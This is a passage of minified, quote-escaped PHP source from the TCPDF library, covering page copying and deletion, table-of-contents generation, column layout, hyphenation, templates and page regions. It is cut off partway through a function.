$oid){if(isset($this->offsets[$oid])){unset($this->offsets[$oid]);}}unset($this->pageobjects[$this->numpages]);if(isset($this->footerpos[$this->numpages])){unset($this->footerpos[$this->numpages]);}if(isset($this->footerlen[$this->numpages])){unset($this->footerlen[$this->numpages]);}if(isset($this->transfmrk[$this->numpages])){unset($this->transfmrk[$this->numpages]);}if(isset($this->PageAnnots[$this->numpages])){unset($this->PageAnnots[$this->numpages]);}if(isset($this->newpagegroup[$this->numpages])){unset($this->newpagegroup[$this->numpages]);}if($this->currpagegroup==$this->numpages){$this->currpagegroup=($this->numpages-1);}if(isset($this->pagegroups[$this->numpages])){unset($this->pagegroups[$this->numpages]);}if(isset($this->pageopen[$this->numpages])){unset($this->pageopen[$this->numpages]);}}--$this->numpages;$this->page=$this->numpages;$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if(!$outline[\'f\']){if($outline[\'p\']>$page){$this->outlines[$key][\'p\']=$outline[\'p\']-1;}elseif($outline[\'p\']==$page){unset($this->outlines[$key]);}}}$tmpdests=$this->dests;foreach($tmpdests as $key=>$dest){if(!$dest[\'f\']){if($dest[\'p\']>$page){$this->dests[$key][\'p\']=$dest[\'p\']-1;}elseif($dest[\'p\']==$page){unset($this->dests[$key]);}}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if(!$link[\'f\']){if($link[\'p\']>$page){$this->links[$key][\'p\']=$link[\'p\']-1;}elseif($link[\'p\']==$page){unset($this->links[$key]);}}}$jpage=$page;if(preg_match_all(\'/this\.addField\(\'([^\']*)\',\'([^\']*)\',([0-9]+)/\',$this->javascript,$pamatch)>0){foreach($pamatch[0] as $pk=>$pmatch){$pagenum=intval($pamatch[3][$pk])+1;if($pagenum>=$jpage){$newpage=($pagenum-1);}elseif($pagenum==$jpage){$newpage=1;}else {$newpage=$pagenum;}--$newpage;$newjs="this.addField(\'".$pamatch[1][$pk]."\',\'".$pamatch[2][$pk]."\',".$newpage;$this->javascript=str_replace($pmatch,$newjs,$this->javascript);}unset($pamatch);}if($this->numpages>0){$this->lastPage(true);}return true;} function copyPage($page=0){if($page==0){$page=$this->page;}if(($page<1) OR ($page>$this->numpages)){return false;}$this->endPage();++$this->numpages;$this->page=$this->numpages;$this->setPageBuffer($this->page,$this->getPageBuffer($page));$this->pagedim[$this->page]=$this->pagedim[$page];$this->pagelen[$this->page]=$this->pagelen[$page];$this->intmrk[$this->page]=$this->intmrk[$page];$this->bordermrk[$this->page]=$this->bordermrk[$page];$this->cntmrk[$this->page]=$this->cntmrk[$page];$this->pageobjects[$this->page]=$this->pageobjects[$page];$this->pageopen[$this->page]=false;if(isset($this->footerpos[$page])){$this->footerpos[$this->page]=$this->footerpos[$page];}if(isset($this->footerlen[$page])){$this->footerlen[$this->page]=$this->footerlen[$page];}if(isset($this->transfmrk[$page])){$this->transfmrk[$this->page]=$this->transfmrk[$page];}if(isset($this->PageAnnots[$page])){$this->PageAnnots[$this->page]=$this->PageAnnots[$page];}if(isset($this->newpagegroup[$page])){$this->newpagegroup[$this->page]=sizeof($this->newpagegroup)+1;$this->currpagegroup=$this->newpagegroup[$this->page];$this->pagegroups[$this->currpagegroup]=1;}elseif(isset($this->currpagegroup) AND ($this->currpagegroup>0)){++$this->pagegroups[$this->currpagegroup];}$tmpoutlines=$this->outlines;foreach($tmpoutlines as $key=>$outline){if($outline[\'p\']==$page){$this->outlines[]=array(\'t\'=>$outline[\'t\'],\'l\'=>$outline[\'l\'],\'x\'=>$outline[\'x\'],\'y\'=>$outline[\'y\'],\'p\'=>$this->page,\'f\'=>$outline[\'f\'],\'s\'=>$outline[\'s\'],\'c\'=>$outline[\'c\']);}}$tmplinks=$this->links;foreach($tmplinks as $key=>$link){if($link[\'p\']==$page){$this->links[]=array(\'p\'=>$this->page,\'y\'=>$link[\'y\'],\'f\'=>$link[\'f\']);}}$this->lastPage(true);return true;} function addTOC($page=\'\',$numbersfont=\'\',$filler=\'.\',$toc_name=\'TOC\',$style=\'\',$color=array(0,0,0)){$fontsize=$this->FontSizePt;$fontfamily=$this->FontFamily;$fontstyle=$this->FontStyle;$w=$this->w-$this->lMargin-$this->rMargin;$spacer=$this->GetStringWidth(chr(32))*4;$lmargin=$this->lMargin;$rmargin=$this->rMargin;$x_start=$this->GetX();$page_first=$this->page;$current_page=$this->page;$page_fill_start=false;$page_fill_end=false;$current_column=$this->current_column;if(TCPDF_STATIC::empty_string($numbersfont)){$numbersfont=$this->default_monospaced_font;}if(TCPDF_STATIC::empty_string($filler)){$filler=\' \';}if(TCPDF_STATIC::empty_string($page)){$gap=\' \';}else {$gap=\'\';if($page<1){$page=1;}}$this->SetFont($numbersfont,$fontstyle,$fontsize);$numwidth=$this->GetStringWidth(\'00000\');$maxpage=0;foreach($this->outlines as $key=>$outline){if(($this->page>$page_first) AND ($outline[\'p\']>=$this->numpages)){$outline[\'p\']+=($this->page-$page_first);}if($this->rtl){$aligntext=\'R\';$alignnum=\'L\';}else {$aligntext=\'L\';$alignnum=\'R\';}if($outline[\'l\']==0){$this->SetFont($fontfamily,$outline[\'s\'].\'B\',$fontsize);}else {$this->SetFont($fontfamily,$outline[\'s\'],$fontsize-$outline[\'l\']);}$this->SetTextColorArray($outline[\'c\']);$this->checkPageBreak(2*$this->getCellHeight($this->FontSize));if(($this->page==$current_page) AND ($this->current_column==$current_column)){$this->lMargin=$lmargin;$this->rMargin=$rmargin;}else {if($this->current_column!=$current_column){if($this->rtl){$x_start=$this->w-$this->columns[$this->current_column][\'x\'];}else {$x_start=$this->columns[$this->current_column][\'x\'];}}$lmargin=$this->lMargin;$rmargin=$this->rMargin;$current_page=$this->page;$current_column=$this->current_column;}$this->SetX($x_start);$indent=($spacer*$outline[\'l\']);if($this->rtl){$this->x-=$indent;$this->rMargin=$this->w-$this->x;}else {$this->x+=$indent;$this->lMargin=$this->x;}$link=$this->AddLink();$this->SetLink($link,$outline[\'y\'],$outline[\'p\']);if($this->rtl){$txt=\' \'.$outline[\'t\'];}else {$txt=$outline[\'t\'].\' \';}$this->Write(0,$txt,$link,false,$aligntext,false,0,false,false,0,$numwidth,\'\');if($this->rtl){$tw=$this->x-$this->lMargin;}else {$tw=$this->w-$this->rMargin-$this->x;}$this->SetFont($numbersfont,$fontstyle,$fontsize);if(TCPDF_STATIC::empty_string($page)){$pagenum=$outline[\'p\'];}else {$pagenum=\'{#\'.($outline[\'p\']).\'}\';if($this->isUnicodeFont()){$pagenum=\'{\'.$pagenum.\'}\';}$maxpage=max($maxpage,$outline[\'p\']);}$fw=($tw-$this->GetStringWidth($pagenum.$filler));$wfiller=$this->GetStringWidth($filler);if($wfiller>0){$numfills=floor($fw/$wfiller);}else {$numfills=0;}if($numfills>0){$rowfill=str_repeat($filler,$numfills);}else {$rowfill=\'\';}if($this->rtl){$pagenum=$pagenum.$gap.$rowfill;}else {$pagenum=$rowfill.$gap.$pagenum;}$this->Cell($tw,0,$pagenum,0,1,$alignnum,0,$link,0);}$page_last=$this->getPage();$numpages=($page_last-$page_first+1);if($this->booklet){$page_fill_start=((($page_first%2)==0) XOR (($page%2)==0));$page_fill_end=(!((($numpages%2)==0) XOR ($page_fill_start)));if($page_fill_start){$this->addPage();++$page_last;++$numpages;}if($page_fill_end){$this->addPage();++$page_last;++$numpages;}}$maxpage=max($maxpage,$page_last);if(!TCPDF_STATIC::empty_string($page)){for($p=$page_first;$p<=$page_last;++$p){$temppage=$this->getPageBuffer($p);for($n=1;$n<=$maxpage;++$n){$a=\'{#\'.$n.\'}\';$pnalias=$this->getInternalPageNumberAliases($a);if(($n>=$page) AND ($n<=$this->numpages)){$np=$n+$numpages;}else {$np=$n;}$na=TCPDF_STATIC::formatTOCPageNumber(($this->starting_page_number+$np-1));$nu=TCPDF_FONTS::UTF8ToUTF16BE($na,false,$this->isunicode,$this->CurrentFont);foreach($pnalias[\'u\'] as $u){$sfill=str_repeat($filler,max(0,(strlen($u)-strlen($nu.\' \'))));if($this->rtl){$nr=$nu.TCPDF_FONTS::UTF8ToUTF16BE(\' \'.$sfill,false,$this->isunicode,$this->CurrentFont);}else {$nr=TCPDF_FONTS::UTF8ToUTF16BE($sfill.\' \',false,$this->isunicode,$this->CurrentFont).$nu;}$temppage=str_replace($u,$nr,$temppage);}foreach($pnalias[\'a\'] as $a){$sfill=str_repeat($filler,max(0,(strlen($a)-strlen($na.\' \'))));if($this->rtl){$nr=$na.\' \'.$sfill;}else {$nr=$sfill.\' \'.$na;}$temppage=str_replace($a,$nr,$temppage);}}$this->setPageBuffer($p,$temppage);}$this->Bookmark($toc_name,0,0,$page_first,$style,$color);if($page_fill_start){$this->movePage($page_last,$page_first);}for($i=0;$i<$numpages;++$i){$this->movePage($page_last,$page);}}} function addHTMLTOC($page=\'\',$toc_name=\'TOC\',$templates=array(),$correct_align=true,$style=\'\',$color=array(0,0,0)){$filler=\' \';$prev_htmlLinkColorArray=$this->htmlLinkColorArray;$prev_htmlLinkFontStyle=$this->htmlLinkFontStyle;$this->htmlLinkColorArray=array();$this->htmlLinkFontStyle=\'\';$page_first=$this->getPage();$page_fill_start=false;$page_fill_end=false;$current_font=$this->FontFamily;foreach($templates as $level=>$html){$dom=$this->getHtmlDomArray($html);foreach($dom as $key=>$value){if($value[\'value\']==\'#TOC_PAGE_NUMBER#\'){$this->SetFont($dom[($key-1)][\'fontname\']);$templates[\'F\'.$level]=$this->isUnicodeFont();}}}$this->SetFont($current_font);$maxpage=0;foreach($this->outlines as $key=>$outline){$row=$templates[$outline[\'l\']];if(TCPDF_STATIC::empty_string($page)){$pagenum=$outline[\'p\'];}else {$pagenum=\'{#\'.($outline[\'p\']).\'}\';if($templates[\'F\'.$outline[\'l\']]){$pagenum=\'{\'.$pagenum.\'}\';}$maxpage=max($maxpage,$outline[\'p\']);}$row=str_replace(\'#TOC_DESCRIPTION#\',$outline[\'t\'],$row);$row=str_replace(\'#TOC_PAGE_NUMBER#\',$pagenum,$row);$row=\'<a href="#\'.$outline[\'p\'].\',\'.$outline[\'y\'].\'">\'.$row.\'</a>\';$this->writeHTML($row,false,false,true,false,\'\');}$this->htmlLinkColorArray=$prev_htmlLinkColorArray;$this->htmlLinkFontStyle=$prev_htmlLinkFontStyle;$page_last=$this->getPage();$numpages=($page_last-$page_first+1);if($this->booklet){$page_fill_start=((($page_first%2)==0) XOR (($page%2)==0));$page_fill_end=(!((($numpages%2)==0) XOR ($page_fill_start)));if($page_fill_start){$this->addPage();++$page_last;++$numpages;}if($page_fill_end){$this->addPage();++$page_last;++$numpages;}}$maxpage=max($maxpage,$page_last);if(!TCPDF_STATIC::empty_string($page)){for($p=$page_first;$p<=$page_last;++$p){$temppage=$this->getPageBuffer($p);for($n=1;$n<=$maxpage;++$n){$a=\'{#\'.$n.\'}\';$pnalias=$this->getInternalPageNumberAliases($a);if($n>=$page){$np=$n+$numpages;}else {$np=$n;}$na=TCPDF_STATIC::formatTOCPageNumber(($this->starting_page_number+$np-1));$nu=TCPDF_FONTS::UTF8ToUTF16BE($na,false,$this->isunicode,$this->CurrentFont);foreach($pnalias[\'u\'] as $u){if($correct_align){$sfill=str_repeat($filler,(strlen($u)-strlen($nu.\' \')));if($this->rtl){$nr=$nu.TCPDF_FONTS::UTF8ToUTF16BE(\' \'.$sfill,false,$this->isunicode,$this->CurrentFont);}else {$nr=TCPDF_FONTS::UTF8ToUTF16BE($sfill.\' \',false,$this->isunicode,$this->CurrentFont).$nu;}}else {$nr=$nu;}$temppage=str_replace($u,$nr,$temppage);}foreach($pnalias[\'a\'] as $a){if($correct_align){$sfill=str_repeat($filler,(strlen($a)-strlen($na.\' \')));if($this->rtl){$nr=$na.\' \'.$sfill;}else {$nr=$sfill.\' \'.$na;}}else {$nr=$na;}$temppage=str_replace($a,$nr,$temppage);}}$this->setPageBuffer($p,$temppage);}$this->Bookmark($toc_name,0,0,$page_first,$style,$color);if($page_fill_start){$this->movePage($page_last,$page_first);}for($i=0;$i<$numpages;++$i){$this->movePage($page_last,$page);}}} function startTransaction(){if(isset($this->objcopy)){$this->commitTransaction();}$this->start_transaction_page=$this->page;$this->start_transaction_y=$this->y;$this->objcopy=TCPDF_STATIC::objclone($this);} function commitTransaction(){if(isset($this->objcopy)){$this->objcopy->_destroy(true,true);unset($this->objcopy);}} function rollbackTransaction($self=false){if(isset($this->objcopy)){$this->_destroy(true,true);if($self){$objvars=get_object_vars($this->objcopy);foreach($objvars as $key=>$value){$this->$key=$value;}}return $this->objcopy;}return $this;} function setEqualColumns($numcols=0,$width=0,$y=\'\'){$this->columns=array();if($numcols<2){$numcols=0;$this->columns=array();}else {$maxwidth=($this->w-$this->original_lMargin-$this->original_rMargin)/$numcols;if(($width==0) OR ($width>$maxwidth)){$width=$maxwidth;}if(TCPDF_STATIC::empty_string($y)){$y=$this->y;}$space=(($this->w-$this->original_lMargin-$this->original_rMargin-($numcols*$width))/($numcols-1));for($i=0;$i<$numcols;++$i){$this->columns[$i]=array(\'w\'=>$width,\'s\'=>$space,\'y\'=>$y);}}$this->num_columns=$numcols;$this->current_column=0;$this->column_start_page=$this->page;$this->selectColumn(0);} function resetColumns(){$this->lMargin=$this->original_lMargin;$this->rMargin=$this->original_rMargin;$this->setEqualColumns();} function setColumnsArray($columns){$this->columns=$columns;$this->num_columns=count($columns);$this->current_column=0;$this->column_start_page=$this->page;$this->selectColumn(0);} function selectColumn($col=\'\'){if(is_string($col)){$col=$this->current_column;}elseif($col>=$this->num_columns){$col=0;}$xshift=array(\'x\'=>0,\'s\'=>array(\'H\'=>0,\'V\'=>0),\'p\'=>array(\'L\'=>0,\'T\'=>0,\'R\'=>0,\'B\'=>0));$enable_thead=false;if($this->num_columns>1){if($col!=$this->current_column){if($this->column_start_page==$this->page){$this->y=$this->columns[$col][\'y\'];}else {$this->y=$this->tMargin;}if(($this->page>$this->maxselcol[\'page\']) OR (($this->page==$this->maxselcol[\'page\']) AND ($col>$this->maxselcol[\'column\']))){$enable_thead=true;$this->maxselcol[\'page\']=$this->page;$this->maxselcol[\'column\']=$col;}}$xshift=$this->colxshift;$listindent=($this->listindentlevel*$this->listindent);$colpos=0;for($i=0;$i<$col;++$i){$colpos+=($this->columns[$i][\'w\']+$this->columns[$i][\'s\']);}if($this->rtl){$x=$this->w-$this->original_rMargin-$colpos;$this->rMargin=($this->w-$x+$listindent);$this->lMargin=($x-$this->columns[$col][\'w\']);$this->x=$x-$listindent;}else {$x=$this->original_lMargin+$colpos;$this->lMargin=($x+$listindent);$this->rMargin=($this->w-$x-$this->columns[$col][\'w\']);$this->x=$x+$listindent;}$this->columns[$col][\'x\']=$x;}$this->current_column=$col;$this->newline=true;if((!TCPDF_STATIC::empty_string($this->thead)) AND (!$this->inthead)){if($enable_thead){$this->writeHTML($this->thead,false,false,false,false,\'\');$this->y+=$xshift[\'s\'][\'V\'];if(!isset($this->columns[$col][\'th\'])){$this->columns[$col][\'th\']=array();}$this->columns[$col][\'th\'][\'\'\'.$this->page.\'\'\']=$this->y;$this->lasth=0;}elseif(isset($this->columns[$col][\'th\'][\'\'\'.$this->page.\'\'\'])){$this->y=$this->columns[$col][\'th\'][\'\'\'.$this->page.\'\'\'];}}if($this->rtl){$this->rMargin+=$xshift[\'x\'];$this->x-=($xshift[\'x\']+$xshift[\'p\'][\'R\']);}else {$this->lMargin+=$xshift[\'x\'];$this->x+=$xshift[\'x\']+$xshift[\'p\'][\'L\'];}} function getColumn(){return $this->current_column;} function getNumberOfColumns(){return $this->num_columns;} function setTextRenderingMode($stroke=0,$fill=true,$clip=false){if($stroke<0){$stroke=0;}if($fill===true){if($stroke>0){if($clip===true){$textrendermode=6;}else {$textrendermode=2;}$textstrokewidth=$stroke;}else {if($clip===true){$textrendermode=4;}else {$textrendermode=0;}}}else {if($stroke>0){if($clip===true){$textrendermode=5;}else {$textrendermode=1;}$textstrokewidth=$stroke;}else {if($clip===true){$textrendermode=7;}else {$textrendermode=3;}}}$this->textrendermode=$textrendermode;$this->textstrokewidth=$stroke;} function setTextShadow($params=array(\'enabled\'=>false,\'depth_w\'=>0,\'depth_h\'=>0,\'color\'=>false,\'opacity\'=>1,\'blend_mode\'=>\'Normal\')){if(isset($params[\'enabled\'])){$this->txtshadow[\'enabled\']=$params[\'enabled\']?true:false;}else {$this->txtshadow[\'enabled\']=false;}if(isset($params[\'depth_w\'])){$this->txtshadow[\'depth_w\']=floatval($params[\'depth_w\']);}else {$this->txtshadow[\'depth_w\']=0;}if(isset($params[\'depth_h\'])){$this->txtshadow[\'depth_h\']=floatval($params[\'depth_h\']);}else {$this->txtshadow[\'depth_h\']=0;}if(isset($params[\'color\']) AND ($params[\'color\']!==false) AND is_array($params[\'color\'])){$this->txtshadow[\'color\']=$params[\'color\'];}else {$this->txtshadow[\'color\']=$this->strokecolor;}if(isset($params[\'opacity\'])){$this->txtshadow[\'opacity\']=min(1,max(0,floatval($params[\'opacity\'])));}else {$this->txtshadow[\'opacity\']=1;}if(isset($params[\'blend_mode\']) AND in_array($params[\'blend_mode\'],array(\'Normal\',\'Multiply\',\'Screen\',\'Overlay\',\'Darken\',\'Lighten\',\'ColorDodge\',\'ColorBurn\',\'HardLight\',\'SoftLight\',\'Difference\',\'Exclusion\',\'Hue\',\'Saturation\',\'Color\',\'Luminosity\'))){$this->txtshadow[\'blend_mode\']=$params[\'blend_mode\'];}else {$this->txtshadow[\'blend_mode\']=\'Normal\';}if((($this->txtshadow[\'depth_w\']==0) AND ($this->txtshadow[\'depth_h\']==0)) OR ($this->txtshadow[\'opacity\']==0)){$this->txtshadow[\'enabled\']=false;}} function getTextShadow(){return $this->txtshadow;} function hyphenateWord($word,$patterns,$dictionary=array(),$leftmin=1,$rightmin=2,$charmin=1,$charmax=8){$hyphenword=array();$numchars=count($word);if($numchars<=$charmin){return $word;}$word_string=TCPDF_FONTS::UTF8ArrSubString($word,\'\',\'\',$this->isunicode);$pattern=\'/^([a-zA-Z0-9_\.\-]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/\';if(preg_match($pattern,$word_string)>0){return $word;}$pattern=\'/(([a-zA-Z0-9\-]+\.)?)((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/\';if(preg_match($pattern,$word_string)>0){return $word;}if(isset($dictionary[$word_string])){return TCPDF_FONTS::UTF8StringToArray($dictionary[$word_string],$this->isunicode,$this->CurrentFont);}$tmpword=array_merge(array(46),$word,array(46));$tmpnumchars=$numchars+2;$maxpos=$tmpnumchars-1;for($pos=0;$pos<$maxpos;++$pos){$imax=min(($tmpnumchars-$pos),$charmax);for($i=1;$i<=$imax;++$i){$subword=strtolower(TCPDF_FONTS::UTF8ArrSubString($tmpword,$pos,($pos+$i),$this->isunicode));if(isset($patterns[$subword])){$pattern=TCPDF_FONTS::UTF8StringToArray($patterns[$subword],$this->isunicode,$this->CurrentFont);$pattern_length=count($pattern);$digits=1;for($j=0;$j<$pattern_length;++$j){if(($pattern[$j]>=48) AND ($pattern[$j]<=57)){if($j==0){$zero=$pos-1;}else {$zero=$pos+$j-$digits;}$level=($pattern[$j]-48);if(!isset($hyphenword[$zero]) OR ($hyphenword[$zero]<$level)){$hyphenword[$zero]=$level;}++$digits;}}}}}$inserted=0;$maxpos=$numchars-$rightmin;for($i=$leftmin;$i<=$maxpos;++$i){if(isset($hyphenword[$i]) AND (($hyphenword[$i]%2)!=0)){array_splice($word,$i+$inserted,0,173);++$inserted;}}return $word;} function hyphenateText($text,$patterns,$dictionary=array(),$leftmin=1,$rightmin=2,$charmin=1,$charmax=8){$text=$this->unhtmlentities($text);$word=array();$txtarr=array();$intag=false;$skip=false;if(!is_array($patterns)){$patterns=TCPDF_STATIC::getHyphenPatternsFromTEX($patterns);}$unichars=TCPDF_FONTS::UTF8StringToArray($text,$this->isunicode,$this->CurrentFont);foreach($unichars as $char){if((!$intag) AND (!$skip) AND TCPDF_FONT_DATA::$uni_type[$char]==\'L\'){$word[]=$char;}else {if(!TCPDF_STATIC::empty_string($word)){$txtarr=array_merge($txtarr,$this->hyphenateWord($word,$patterns,$dictionary,$leftmin,$rightmin,$charmin,$charmax));$word=array();}$txtarr[]=$char;if(chr($char)==\'<\'){$intag=true;}elseif($intag AND (chr($char)==\'>\')){$intag=false;$expected=array(115,116,121,108,101);$current=array_slice($txtarr,-6,5);$compare=array_diff($expected,$current);if(empty($compare)){$expected=array(47);$current=array_slice($txtarr,-7,1);$compare=array_diff($expected,$current);if(empty($compare)){$skip=false;}else {$skip=true;}}}}}if(!TCPDF_STATIC::empty_string($word)){$txtarr=array_merge($txtarr,$this->hyphenateWord($word,$patterns,$dictionary,$leftmin,$rightmin,$charmin,$charmax));}return TCPDF_FONTS::UTF8ArrSubString($txtarr,\'\',\'\',$this->isunicode);} function setRasterizeVectorImages($mode){$this->rasterize_vector_images=$mode;} function setFontSubsetting($enable=true){if($this->pdfa_mode){$this->font_subsetting=false;}else {$this->font_subsetting=$enable?true:false;}} function getFontSubsetting(){return $this->font_subsetting;} function stringLeftTrim($str,$replace=\'\'){return preg_replace(\'/^\'.$this->re_space[\'p\'].\'+/\'.$this->re_space[\'m\'],$replace,$str);} function stringRightTrim($str,$replace=\'\'){return preg_replace(\'/\'.$this->re_space[\'p\'].\'+$/\'.$this->re_space[\'m\'],$replace,$str);} function stringTrim($str,$replace=\'\'){$str=$this->stringLeftTrim($str,$replace);$str=$this->stringRightTrim($str,$replace);return $str;} function isUnicodeFont(){return (($this->CurrentFont[\'type\']==\'TrueTypeUnicode\') OR ($this->CurrentFont[\'type\']==\'cidfont0\'));} function getFontFamilyName($fontfamily){$fontfamily=preg_replace(\'/[^a-z0-9_\,]/\',\'\',strtolower($fontfamily));$fontslist=preg_split(\'/[,]/\',$fontfamily);foreach($fontslist as $font){$font=preg_replace(\'/regular$/\',\'\',$font);$font=preg_replace(\'/italic$/\',\'I\',$font);$font=preg_replace(\'/oblique$/\',\'I\',$font);$font=preg_replace(\'/bold([I]?)$/\',\'B\1\',$font);$pattern=array();$replacement=array();$pattern[]=\'/^serif|^cursive|^fantasy|^timesnewroman/\';$replacement[]=\'times\';$pattern[]=\'/^sansserif/\';$replacement[]=\'helvetica\';$pattern[]=\'/^monospace/\';$replacement[]=\'courier\';$font=preg_replace($pattern,$replacement,$font);if(in_array(strtolower($font),$this->fontlist) OR in_array($font,$this->fontkeys)){return $font;}}return $this->CurrentFont[\'fontkey\'];} function startTemplate($w=0,$h=0,$group=false){if($this->inxobj){return false;}$this->inxobj=true;++$this->n;$this->xobjid=\'XT\'.$this->n;$this->xobjects[$this->xobjid]=array(\'n\'=>$this->n);$this->xobjects[$this->xobjid][\'gvars\']=$this->getGraphicVars();$this->xobjects[$this->xobjid][\'intmrk\']=0;$this->xobjects[$this->xobjid][\'transfmrk\']=array();$this->xobjects[$this->xobjid][\'outdata\']=\'\';$this->xobjects[$this->xobjid][\'xobjects\']=array();$this->xobjects[$this->xobjid][\'images\']=array();$this->xobjects[$this->xobjid][\'fonts\']=array();$this->xobjects[$this->xobjid][\'annotations\']=array();$this->xobjects[$this->xobjid][\'extgstates\']=array();$this->xobjects[$this->xobjid][\'gradients\']=array();$this->xobjects[$this->xobjid][\'spot_colors\']=array();$this->num_columns=1;$this->current_column=0;$this->SetAutoPageBreak(false);if(($w===\'\') OR ($w<=0)){$w=$this->w-$this->lMargin-$this->rMargin;}if(($h===\'\') OR ($h<=0)){$h=$this->h-$this->tMargin-$this->bMargin;}$this->xobjects[$this->xobjid][\'x\']=0;$this->xobjects[$this->xobjid][\'y\']=0;$this->xobjects[$this->xobjid][\'w\']=$w;$this->xobjects[$this->xobjid][\'h\']=$h;$this->w=$w;$this->h=$h;$this->wPt=$this->w*$this->k;$this->hPt=$this->h*$this->k;$this->fwPt=$this->wPt;$this->fhPt=$this->hPt;$this->x=0;$this->y=0;$this->lMargin=0;$this->rMargin=0;$this->tMargin=0;$this->bMargin=0;$this->xobjects[$this->xobjid][\'group\']=$group;return $this->xobjid;} function endTemplate(){if(!$this->inxobj){return false;}$this->inxobj=false;$this->setGraphicVars($this->xobjects[$this->xobjid][\'gvars\'],true);return $this->xobjid;} function printTemplate($id,$x=\'\',$y=\'\',$w=0,$h=0,$align=\'\',$palign=\'\',$fitonpage=false){if($this->state!=2){return;}if(!isset($this->xobjects[$id])){$this->Error(\'The XObject Template \'\'.$id.\'\' doesn\'t exist!\');}if($this->inxobj){if($id==$this->xobjid){$this->endTemplate();}else {$this->xobjects[$this->xobjid][\'xobjects\'][$id]=$this->xobjects[$id];}}if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$ow=$this->xobjects[$id][\'w\'];if($ow<=0){$ow=1;}$oh=$this->xobjects[$id][\'h\'];if($oh<=0){$oh=1;}if(($w<=0) AND ($h<=0)){$w=$ow;$h=$oh;}elseif($w<=0){$w=$h*$ow/$oh;}elseif($h<=0){$h=$w*$oh/$ow;}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);$rb_y=$y+$h;if($this->rtl){if($palign==\'L\'){$xt=$this->lMargin;}elseif($palign==\'C\'){$xt=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign==\'R\'){$xt=$this->w-$this->rMargin-$w;}else {$xt=$x-$w;}$rb_x=$xt;}else {if($palign==\'L\'){$xt=$this->lMargin;}elseif($palign==\'C\'){$xt=($this->w+$this->lMargin-$this->rMargin-$w)/2;}elseif($palign==\'R\'){$xt=$this->w-$this->rMargin-$w;}else {$xt=$x;}$rb_x=$xt+$w;}$this->StartTransform();$sx=($w/$ow);$sy=($h/$oh);$tm=array();$tm[0]=$sx;$tm[1]=0;$tm[2]=0;$tm[3]=$sy;$tm[4]=$xt*$this->k;$tm[5]=($this->h-$h-$y)*$this->k;$this->Transform($tm);$this->_out(\'/\'.$id.\' Do\');$this->StopTransform();if(!empty($this->xobjects[$id][\'annotations\'])){foreach($this->xobjects[$id][\'annotations\'] as $annot){$coordlt=TCPDF_STATIC::getTransformationMatrixProduct($tm,array(1,0,0,1,($annot[\'x\']*$this->k),(-$annot[\'y\']*$this->k)));$ax=($coordlt[4]/$this->k);$ay=($this->h-$h-($coordlt[5]/$this->k));$coordrb=TCPDF_STATIC::getTransformationMatrixProduct($tm,array(1,0,0,1,(($annot[\'x\']+$annot[\'w\'])*$this->k),((-$annot[\'y\']-$annot[\'h\'])*$this->k)));$aw=($coordrb[4]/$this->k)-$ax;$ah=($this->h-$h-($coordrb[5]/$this->k))-$ay;$this->Annotation($ax,$ay,$aw,$ah,$annot[\'text\'],$annot[\'opt\'],$annot[\'spaces\']);}}switch($align){case \'T\':{$this->y=$y;$this->x=$rb_x;break;}case \'M\':{$this->y=$y+round($h/2);$this->x=$rb_x;break;}case \'B\':{$this->y=$rb_y;$this->x=$rb_x;break;}case \'N\':{$this->SetY($rb_y);break;}default:{break;}}} function setFontStretching($perc=100){$this->font_stretching=$perc;} function getFontStretching(){return $this->font_stretching;} function setFontSpacing($spacing=0){$this->font_spacing=$spacing;} function getFontSpacing(){return $this->font_spacing;} function getPageRegions(){return $this->page_regions;} function setPageRegions($regions=array()){$this->page_regions=array();foreach($regions as $data){$this->addPageRegion($data);}} function addPageRegion($region){if(!isset($region[\'page\']) OR empty($region[\'page\'])){$region[\'page\']=$this->page;}if(isset($region[\'xt\']) AND isset($region[\'xb\']) AND ($region[\'xt\']>0) AND ($region[\'xb\']>0) AND isset($region[\'yt\']) AND isset($region[\'yb\']) AND ($region[\'yt\']>=0) AND ($region[\'yt\']<$region[\'yb\']) AND isset($region[\'side\']) AND (($region[\'side\']==\'L\') OR ($region[\'side\']==\'R\'))){$this->page_regions[]=$region;}} function removePageRegion($key){if(isset($this->page_regions[$key])){unset($this->page_regions[$key]);}} function checkPageRegions($h,$x,$y){if($x===\'\'){$x=$this->x;}if($y===\'\'){$y=$this->y;}if(!$this->check_page_regions OR empty($this->page_regions)){return array($x,$y);}if(empty($h)){$h=$this->getCellHeight($this->FontSize);}if($this->checkPageBreak($h,$y)){$x=$this->x;$y=$this->y;}if($this->num_columns>1){if($this->rtl){$this->lMargin=($this->columns[$this->current_column][\'x\']-$this->columns[$this->current_column][\'w\']);}else {$this->rMargin=($this->w-$this->columns[$this->current_column][\'x\']-$this->columns[$this->current_column][\'w\']);}}else {if($this->rtl){$this->lMargin=max($this->clMargin,$this->original_lMargin);}else {$this->rMargin=max($this->crMargin,$this->original_rMargin);}}foreach($this->page_regions as $regid=>$regdata){if($regdata[\'page\']==$this->page){if(($y>($regdata[\'yt\']-$h)) AND 